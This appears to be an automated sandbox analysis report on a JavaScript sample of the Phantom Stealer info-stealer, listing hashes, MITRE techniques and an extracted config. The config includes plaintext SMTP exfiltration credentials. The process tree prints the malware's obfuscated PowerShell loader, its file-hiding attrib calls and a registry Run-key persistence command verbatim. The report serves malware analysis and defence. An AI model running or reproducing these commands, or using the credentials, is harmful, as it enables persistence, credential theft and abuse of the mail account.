phantom_stealer | ebe55ff8fe1a36f2101dcf651a5941432575ca645200768288f30dafe0f2c57f

Analysis

max time kernel
149s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/08/2026, 02:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RFQ 33418 -models.js
Size 830KB
Sample260825-csjmsaff83
SHA256 ebe55ff8fe1a36f2101dcf651a5941432575ca645200768288f30dafe0f2c57f
MD5 cb6b306445a523130dde73a5c33cf7fc
SHA1 7150f5d94f99d031463287bdcd79de53fd635aa6
SHA512 34df68b20d09d73e93dad40e041a562d5632b3fc9adbb276cba9a318f554bc3cb874787290155344d32609bef2feac0135b2feedba6ffd2f0c2d43a633aa29eb
SSDEEP 24576:pTwhVOMQJneDP63jffLO9wcZItM7B80pwJn:pYZJ0t481x
TLSH
T13605011C1F062DFA5AEAC20A9A3344FD1DE7D6C3C09EE5CB920AB4617B1931365DAD0D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution phantom_stealer persistence stealer

Malware Config

Extracted

Credentials

Protocol
smtp
Host
mail.gpi.com.eg
Port
587
Username
[email protected]
Password
GizaPower@321

Extracted

Family

phantom_stealer

Version

v4.0.0

Credentials

Protocol
smtp
Host
PlRSZn+NC6yheiMZeVVf98agDqiPVtXFI8GmSS2m3K9QAAAAGeuLI9NMc7O9IHESBjLvO6Y7qdxpROcGm8Zx+cWNBQXRZYhzFOidjxSp3Wn5Tbd/yf4ZlE/YwL8qAkWOaUb32idu8q/n8cw6gwHTwsXQvUhojGX2OSioIxFmCencVil/
Username
SWHSeYk9wOMRzxoLSFCyo0vEtCpR1L+0GZT9bdlymBFQAAAAnvFKHuJqWgeev8XkH4wsIJT2z7svx+OFc2GtSp2qCfmdAXxjkHliz0VpDSe70Fb1MyT7cVdEKdOuCutFiLT/d20GfpNnDPT2XutMmsmxKbzOnRMqv/0x1bcD9C5pR3gE
Password
NmfmMpbJy7c5baTjtD3yt1AsV+ESTeNVO68oSIytftVQAAAA6Dpxnt9xEvcBtIamUQN8ux7olujR2PJ9pvZE/Y5LOm03IjPTWic43QpU/1v+KtkRORNZsWk8JeSX/Du7gZyh9+CMWTfW1D6eqxnEtc1mAoXkZ20CdEJyNciW0wj9Urj0
Email to
mjoMjIUlCPar2Nw0a6IUIFV7omw2ZovRRR0PfJzlFvxQAAAAmgJMGtdI77VAOwX4GXxku5gzJiJaOVOFthCx5g5H04NsGTfiQxLphgXXnx9A0aq7niwxTBjPvLQdtfMQRspI6Nfffzq2duAiK2NdiIRM24EhwmMVm5wjx1Q5Vxpyc1waTx0sW/qK6nlRXG30EG2gig==

Credentials

Protocol
ftp
Host
0
Username
0
Password
0

Mutex

6KOU7Z56D0O8MCHV7FX6

Wallets

Attributes

cookies
true
enable_ssl
true
keylogger
true
passwords
true
smtp_enabled
true

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	prevhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\HidMapRefresh_YQOI = "C:\\Windows\\System32\\wscript.exe //B //nologo \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\print_spool_m\\print_spool_m_ZHLBZDCS.vbs\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\HidMapRefresh_YQOI = "C:\\Windows\\System32\\wscript.exe //B //nologo \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\print_spool_m\\print_spool_m_ZHLBZDCS.vbs\""	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	icanhazip.com

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2700	cmd.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6188	powershell.exe
6492	powershell.exe
7160	powershell.exe
4716	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	prevhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	prevhost.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
4716	powershell.exe
4716	powershell.exe
4716	powershell.exe
6188	powershell.exe
6188	powershell.exe
6188	powershell.exe
6492	powershell.exe
6492	powershell.exe
6492	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
7160	powershell.exe
976	prevhost.exe
976	prevhost.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
7160	powershell.exe
7160	powershell.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	6188	powershell.exe
Token: SeDebugPrivilege	6492	powershell.exe
Token: SeDebugPrivilege	7160	powershell.exe
Token: SeIncreaseQuotaPrivilege	7160	powershell.exe
Token: SeSecurityPrivilege	7160	powershell.exe
Token: SeTakeOwnershipPrivilege	7160	powershell.exe
Token: SeLoadDriverPrivilege	7160	powershell.exe
Token: SeSystemProfilePrivilege	7160	powershell.exe
Token: SeSystemtimePrivilege	7160	powershell.exe
Token: SeProfSingleProcessPrivilege	7160	powershell.exe
Token: SeIncBasePriorityPrivilege	7160	powershell.exe
Token: SeCreatePagefilePrivilege	7160	powershell.exe
Token: SeBackupPrivilege	7160	powershell.exe
Token: SeRestorePrivilege	7160	powershell.exe
Token: SeShutdownPrivilege	7160	powershell.exe
Token: SeDebugPrivilege	7160	powershell.exe
Token: SeSystemEnvironmentPrivilege	7160	powershell.exe
Token: SeRemoteShutdownPrivilege	7160	powershell.exe
Token: SeUndockPrivilege	7160	powershell.exe
Token: SeManageVolumePrivilege	7160	powershell.exe
Token: 33	7160	powershell.exe
Token: 34	7160	powershell.exe
Token: 35	7160	powershell.exe
Token: 36	7160	powershell.exe
Token: SeDebugPrivilege	976	prevhost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
7076	msiexec.exe
976	prevhost.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 6792 wrote to memory of 4716	6792	wscript.exe	89
PID 6792 wrote to memory of 2700	6792	wscript.exe	91
PID 2700 wrote to memory of 6188	2700	cmd.exe	93
PID 2700 wrote to memory of 6912	2700	cmd.exe	94
PID 2700 wrote to memory of 3416	2700	cmd.exe	95
PID 2700 wrote to memory of 4336	2700	cmd.exe	96
PID 2700 wrote to memory of 4640	2700	cmd.exe	97
PID 2700 wrote to memory of 460	2700	cmd.exe	98
PID 2700 wrote to memory of 4908	2700	cmd.exe	99
PID 2700 wrote to memory of 5060	2700	cmd.exe	100
PID 2700 wrote to memory of 2904	2700	cmd.exe	101
PID 2700 wrote to memory of 360	2700	cmd.exe	102
PID 2700 wrote to memory of 984	2700	cmd.exe	103
PID 2700 wrote to memory of 6492	2700	cmd.exe	104
PID 6492 wrote to memory of 7160	6492	powershell.exe	106
PID 2700 wrote to memory of 4584	2700	cmd.exe	108
PID 7160 wrote to memory of 6408	7160	powershell.exe	110
PID 6408 wrote to memory of 5880	6408	csc.exe	111
PID 7160 wrote to memory of 3888	7160	powershell.exe	112
PID 3888 wrote to memory of 5744	3888	csc.exe	113
PID 7160 wrote to memory of 7076	7160	powershell.exe	114
PID 7160 wrote to memory of 3916	7160	powershell.exe	115
PID 7076 wrote to memory of 976	7076	msiexec.exe	116
PID 7076 wrote to memory of 976	7076	msiexec.exe	116
PID 7076 wrote to memory of 976	7076	msiexec.exe	116

Views/modifies file attributes 1 TTPs 10 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6912	attrib.exe
4336	attrib.exe
4640	attrib.exe
460	attrib.exe
360	attrib.exe
4584	attrib.exe
3416	attrib.exe
4908	attrib.exe
2904	attrib.exe
5060	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	prevhost.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ 33418 -models.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:6792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command $PFVKXBW=$env:DDWWKV;$OQAU=$env:QCJTK;$MWCG=$env:ZCZJZDVW+$env:GNGJUHB+$env:QIIGNK+'.'+$env:UYQIWFV;[void][IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName($MWCG));$TXAW=foreach($KQNOVQ in [IO.File]::ReadAllLines($OQAU)){if($KQNOVQ.IndexOf($PFVKXBW)-eq 0){$KQNOVQ.Substring($PFVKXBW.Length)}};[IO.File]::WriteAllLines($MWCG,[string[]]@($TXAW),[Text.Encoding]::ASCII)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c call "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624420560.cmd" & attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624420560.cmd"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:KFJBYNH))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6188
- - C:\Windows\system32\attrib.exe
    attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\*.cmd"
    3⤵
    - Views/modifies file attributes
    PID:6912
- - C:\Windows\system32\attrib.exe
    attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\*.bat"
    3⤵
    - Views/modifies file attributes
    PID:3416
- - C:\Windows\system32\attrib.exe
    attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\print_spool_m\print_spool_m.dat"
    3⤵
    - Views/modifies file attributes
    PID:4336
- - C:\Windows\system32\attrib.exe
    attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\print_spool_m\print_spool_m_ZOBFDGUZ.cmd"
    3⤵
    - Views/modifies file attributes
    PID:4640
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\print_spool_m\print_spool_m.dat"
    3⤵
    - Views/modifies file attributes
    PID:460
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\print_spool_m\print_spool_m_ZOBFDGUZ.cmd"
    3⤵
    - Views/modifies file attributes
    PID:4908
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\print_spool_m"
    3⤵
    - Views/modifies file attributes
    PID:5060
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624420560.cmd"
    3⤵
    - Views/modifies file attributes
    PID:2904
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\print_spool_m\print_spool_m_ZHLBZDCS.vbs"
    3⤵
    - Views/modifies file attributes
    PID:360
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v HidMapRefresh_YQOI /t REG_SZ /d "C:\Windows\System32\wscript.exe //B //nologo ""C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\print_spool_m\print_spool_m_ZHLBZDCS.vbs"""
    3⤵
    - Adds Run key to start application
    PID:984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:KFJBYNH))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:KFJBYNH))"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:7160
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iekjcntp\iekjcntp.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:6408
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDAE5.tmp" "c:\Users\Admin\AppData\Local\Temp\iekjcntp\CSC4F38B241A6C04B9B9ABE99D677190C8.TMP"
        6⤵
        
        PID:5880
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dgwjxvjb\dgwjxvjb.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3888
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDBD0.tmp" "c:\Users\Admin\AppData\Local\Temp\dgwjxvjb\CSC2CB21AD4403F4DE09C5AC64F957CC128.TMP"
        6⤵
        
        PID:5744
    - - C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe"
        5⤵
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:7076
      - C:\Windows\system32\prevhost.exe
        
        "C:\Windows\system32\prevhost.exe"
        6⤵
        Accesses Microsoft Outlook profiles
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        outlook_office_path
        
        PID:976
    - - C:\Windows\system32\choice.exe
        
        "C:\Windows\system32\choice.exe"
        5⤵
        
        PID:3916
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624420560.cmd"
    3⤵
    - Views/modifies file attributes
    PID:4584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

20267251787624420560.cmd

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624420560.cmd
Size 805KB
SHA256 c57bf6cdc028cba0687de640d624902a24ae0358d7945a34124ecc1b40d94a2e
MD5 054692f07a5c8a18948bb7bea8ff835e
SHA1 a0d0a9e59f54709852e4c5ae5f15fbad0a18d73d
SHA512 4efc924d6c8fe2acffb597dfebf3120a3e80ff779453eab847ea2bf1ee5aae95ecabce6398f9ccb3fcf01d478af12d4800251dbc021227366ebe5e0ed6a9da5f
SSDEEP 24576:SVcpW5Lhfhgh6QbbqCJBp4JgVTMIZliZhd:ZnLRVdZcP
TLSH
T15D0522681E495EA8BDF5A12B9540DDE82B17EFC7436BEBCC340E7AE2150D607DB24843
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 54b26da222ddf0a9d810f0939d544b43e01e438a6f5ec7db8d12f4a989dd1ada
MD5 042f28076343ad8a174a4c4f6b092252
SHA1 0b3d827ed020d5903d253ab3e498f6f2186e8af2
SHA512 a220a6da6a75fc265af1b1a3d4d65e5b4ccc64b40ac7f489fd22296529c724941c8a82e0025d1075b51fe4a492778e3e988336fbedabe0c5e8df1f844c199600
TLSH
T1B5116633F3CC8624DC5A413650CEAC2136B687CB409ECE6B7B84D154B42F699DF61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 eee9b4cfddcd92252ee49424c5ba436be577b510f290ce83797e1709a7f55a32
MD5 113f79d4fe28129d0415c818fa6d499c
SHA1 49463c25adf3e775245b24d76f3d3ae90016318d
SHA512 faf630a2e47a033226ebeff047c44fe1c2a59a75f88192dfadc9a25a5ef349058bbaee6cca6c4afbb66a2d5e03817397244808f2b43c66ab89a975d3b294c419
TLSH
T116218933B3CC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544A42F699DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

RESDAE5.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESDAE5.tmp
Size 1KB
SHA256 a26c362077120792766b2dec953a20d0e12bfd56410023d12062715c30d4b6bf
MD5 f7fe610f506641541b6fd3e54c757590
SHA1 91a80ca6a19d1f4cd2aa3827217039ef66adce35
SHA512 9c4f2c9435495fc2c2521f34800c9cda04ef6efdd3a57cd8cd8ac14d1866c7bdde637b6e071da50b989b8b93248fc6e17ae1cceced559667b23d891877d44cd4
TLSH
T1BE21AA0453EC871FF073173168FA172FA678FD64AFA2A35A8480422D1C41944FEA0BB2
MD5 SHA1 SHA512 TLSH

Submit Download

RESDBD0.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESDBD0.tmp
Size 1KB
SHA256 196aa0210b7ea39c22b64a0db3b27e9ce03909d33898a38f872afb319c726997
MD5 0a6b5d187e7bc3b9fb595f64b135a387
SHA1 343e3a917fca17f89d2c54a0a1f3b46e66787260
SHA512 1c627acadcac8270e2593a3440fa6538151054b3385389a9dae96242421a6a556a37920d3992d0cc7156942b0d706606dbbf3dc0f3b03fd18319988442579953
TLSH
T19F21EF0183ED471FF073573279F6636FA274FDA5EF62A36B854042282C51204EEE1AB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ywmcscns.o2d.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ywmcscns.o2d.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

dgwjxvjb.dll

Path C:\Users\Admin\AppData\Local\Temp\dgwjxvjb\dgwjxvjb.dll
Size 66KB
SHA256 3425a14aba81e01c584949b580acaa54a5591930ff833d88d5c4abd6d57b43fd
MD5 a0d9ed85bdef6b4fa67021c20c63ceeb
SHA1 5fd814d7f10cc8e24dc9013ae753024452c5e2f6
SHA512 b927cc80fd51feb2b1f337409d79d7fb6ac98e7e4214c689d98f16eb50d082fb6e988eb61f81be96bd58a057ae874c4ade3568a2cc1a4720618eec3504130377
SSDEEP 1536:apApJfk8mK288KbTC31L0Ea4WVIqJtPnItNGcMUYFtFfCO+y3lwxHHo5g97EaU/w:apApJfTmKD8KbTClL0Ea4WfQQ5UItD3s
TLSH
T12263195577F84968F27E6B7696B102809738B0873B73E78E02E541E92F737C08616BD2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

handoff_dbg_7160_e59dd47.txt

Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_7160_e59dd47.txt
Size 43B
SHA256 4d5689db8187b5ba2adbd7cd673e5ad57d8d55932e0e8b542fc3f1050933b339
MD5 562ad5325c63dba29e7b6e84d4bbf7da
SHA1 6cb328cad547e57beaa0863085a4dbd196d38e26
SHA512 d99af710d326a0c7ca02784a0c7dfcc3d2bc5c391ab402b16d2f47be1b7674897cf3b104620fb2edff2edcbfc3b02dd0c1c599e5c22b8270146c46fa26c7aed7
MD5 SHA1 SHA512

Submit Download

handoff_dbg_7160_e59dd47.txt

Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_7160_e59dd47.txt
Size 70B
SHA256 028f223a2c0e8e348c6459a61f69a95bce08536e32e5dffbef2efc3787419c93
MD5 def776c991822cd4a24b0b7ec3b83fd2
SHA1 9a890cc147549faaa640db9f94594061d4276fc2
SHA512 ca3254262d9b3c36861d0a23b8a2c48ad89942ea3d9019e90f1c23b48f02162e5bb6e2c8d750c630ff25ed909881218846a5429170bb79d46981c57702828d1a
TLSH
T18CA0026F0CB74C5AC72A2F25194E71D106A5B1815BCAA84496D043F1B499E75C34475D
MD5 SHA1 SHA512 TLSH

Submit Download

handoff_dbg_7160_e59dd47.txt

Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_7160_e59dd47.txt
Size 86B
SHA256 d23eb1ae6455180130ff042abf8af34fd49354626be8a0da96e62a83f6fedc4c
MD5 bbd2212e03410b2a8b41b754291c2fa9
SHA1 5b1f54ee6bd2f522c9021f45d14e0f977483afc2
SHA512 fe1d70cf97ffec8274736ebe97f4527e6e0a962c936d6e5ae2804ca9d52c9a9c2bf2aba0fad8d892b9e99ddd2f36b1728539f875280b621ab0a3f59ac192732d
TLSH
T1FAA0122A0C630C05C2251F50140E30810150B44107C55480459003F07048E22C740308
MD5 SHA1 SHA512 TLSH

Submit Download

iekjcntp.dll

Path C:\Users\Admin\AppData\Local\Temp\iekjcntp\iekjcntp.dll
Size 3KB
SHA256 cee85215e5977ee46a0d2411973170afebb714e24bed1e5016188502d9ff958b
MD5 709eaff36b272678c045840bec9d4199
SHA1 3cab26c6cc0e5352f9e259846de0e564d5b818de
SHA512 8bc62578873a42e297a72f5a85ff4b8b518792ca51cb1bcbdbcca47e1bf438554a2d0d1009851b1da4c49e6370067764ec9ab99b45739bc7087b53b6e57b4bee
TLSH
T166515A2653E8466BF1B74770AEF3072636B4FC209B33936E1981432D6C50AA46E21BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2CB21AD4403F4DE09C5AC64F957CC128.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\dgwjxvjb\CSC2CB21AD4403F4DE09C5AC64F957CC128.TMP
Size 652B
SHA256 8cd5d5a68f7664d436db1bd403023026be83d3174a49b31dcb03634c1d490428
MD5 366d16e2347d2cfed16b4622ee0dc9f5
SHA1 16fceae0bc97d4c764dbe95ecd4e58292eb229e9
SHA512 938754679a52e679ff6556b157894eebd205337aaa690e1384537a8b83e49fa5d1d267ca3bb0b7e2167e2ed34d01f4b5fa99b7e7d90a833fd06b0d933953108c
TLSH
T197F0300963F8020EF0F34B30B9F543A39168FC64DE3253ED194003191C645149AA2F71
MD5 SHA1 SHA512 TLSH

Submit Download

dgwjxvjb.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\dgwjxvjb\dgwjxvjb.0.cs
Size 94KB
SHA256 91be6c0d34859ccf98fb316499e9e13c9cdfa9f59e16bda4eb5ba34d3e9002fd
MD5 4f3ffc42331eda49772b993e0a82f8f1
SHA1 97912aceaaf15d65d7637ccbb0eab0bb00afe17f
SHA512 9ebad6d939b2467645f16702a8e879492d4cbceb842fdc2a0fd0553251978435adc78ddf7fd60c5c6c1fca07f573951bccc79bfb60c3d71498eb81432a04c370
SSDEEP 1536:GzrlD7vZAJLdOmXJ5UftfVpqu9qMipdjbbdAMwndoDNkm/MqB21Ss:W74dOg5UlfVpqu9qMipdjfdAMwdoDNkb
TLSH
T11493C591A709912E6DD02529ACCC604EFB53C53123F914B4D9ADC1A03E4E67DD2BFFA2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dgwjxvjb.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\dgwjxvjb\dgwjxvjb.cmdline
Size 247B
SHA256 3d5375d1aa111b9c0f0c8b455d434e766ef127cfd6a5f873c019714dc835f519
MD5 0c6049522913719727dae33b4509d737
SHA1 0c65da840db589fa22c5a1488a2352cbd28f87a7
SHA512 ba13d4da87f375597bdf2b2c5842ca438ee17c2f776ae3b3e10cbdb71376fb99d050baf893e0c3f53848edceb617eedcbd4b2cf0787fa06b0eecb25a81a0f5cd
TLSH
T1B4D0A73943C7C36D22DA1017B9B2C89C93B31B5929053FA1C592414C113708CF7D1382
MD5 SHA1 SHA512 TLSH

Submit Download

CSC4F38B241A6C04B9B9ABE99D677190C8.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\iekjcntp\CSC4F38B241A6C04B9B9ABE99D677190C8.TMP
Size 652B
SHA256 3aa158c706fbfec9473f196f0b54232d10c13aee8e8a1349dffd615ea3c39be9
MD5 730e0521d27c8d3d0a1ec8054142d3a7
SHA1 7432ed653c83976b9d0dc45a0444ad49cecfd2b5
SHA512 699a129511f19e59f84d65d445628b36436947e8ea9bfff8a8e719ed1c50051192dfafae540a4e9f1663f9463f927f78a7d9d405a3013081f1f4acd01371f7fc
TLSH
T106F05E0963F8420EF0F34B70BDF6436395A8BC64DE3293ED1450031D2864D109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

iekjcntp.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\iekjcntp\iekjcntp.0.cs
Size 60B
SHA256 987fefb55f5ec95ae927ada3bfbfb64e8f022193cfb3296ec65b561053578c72
MD5 5008e65bbf396b7984284b437a87f2f2
SHA1 05c32416a4a9ffc8f61bbc7c754803b56dbc06d6
SHA512 004d9177e0fab5c1e109d5243259b07c4de2c67ae4f9137b611f866395bf987f534c1f58011dbfd3c5b54de2819469fd21fd83e79678d68b28578f01f28b73f8
TLSH
T1E0A002413651E5350987D803C511CC33EB0694F05BBC7E12C1550F113E0040BB23816B
MD5 SHA1 SHA512 TLSH

Submit Download

iekjcntp.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\iekjcntp\iekjcntp.cmdline
Size 369B
SHA256 76f39a9617662f8fca0d340b0118e47824b174e71a417820507ba6972a5b97fb
MD5 d51d0e66e8ca5ec5110c4779f64c4751
SHA1 e697f4f325ebd28ef94a7a23494f2e6085d7843b
SHA512 7b1e43fe9e8026b22bd90f7c0f6332f63d3d1c956be3dc61d13e8365d1c3da5a302fdc6a5c5dfc2b2f0a82c3d2224b30467058bc9f1e91c569f2789132e8aee6
TLSH
T116E0C03E4296C2FD01FD1007617BC4BCD6730B4329503F9C5881844ED1170083FD1B81
MD5 SHA1 SHA512 TLSH

Submit Download

memory/976-93-0x000001CD80120000-0x000001CD802E2000-memory.dmp

Download

memory/976-96-0x000001CD191D0000-0x000001CD196F8000-memory.dmp

Download

memory/976-78-0x0000000180000000-0x0000000180020000-memory.dmp

